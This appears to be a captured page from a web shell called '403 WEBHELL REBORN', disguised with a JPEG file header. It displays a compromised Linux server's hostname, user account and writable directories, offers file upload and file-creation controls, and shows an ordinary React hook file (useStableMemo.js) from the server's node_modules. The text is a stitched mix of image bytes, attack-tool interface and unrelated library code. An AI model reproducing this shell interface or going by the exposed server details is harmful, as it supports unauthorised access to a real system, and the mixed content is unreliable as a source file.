ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /var/www/node_services/datajud/frontend/node_modules/@restart/hooks/esm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : //var/www/node_services/datajud/frontend/node_modules/@restart/hooks/esm/useStableMemo.js
import { useRef } from 'react';
function isEqual(a, b) {
  if (a.length !== b.length) return false;
  for (let i = 0; i < a.length; i++) {
    if (a[i] !== b[i]) {
      return false;
    }
  }
  return true;
}
/**
 * Identical to `useMemo` _except_ that it provides a semantic guarantee that
 * values will not be invalidated unless the dependencies change. This is unlike
 * the built in `useMemo` which may discard memoized values for performance reasons.
 *
 * @param factory A function that returns a value to be memoized
 * @param deps A dependency array
 */
export default function useStableMemo(factory, deps) {
  let isValid = true;
  const valueRef = useRef();
  // initial hook call
  if (!valueRef.current) {
    valueRef.current = {
      deps,
      result: factory()
    };
    // subsequent calls
  } else {
    isValid = !!(deps && valueRef.current.deps && isEqual(deps, valueRef.current.deps));
  }
  const cache = isValid ? valueRef.current : {
    deps,
    result: factory()
  };
  // must update immediately so any sync renders here don't cause an infinite loop
  valueRef.current = cache;
  return cache.result;
}

Anon7 - 2021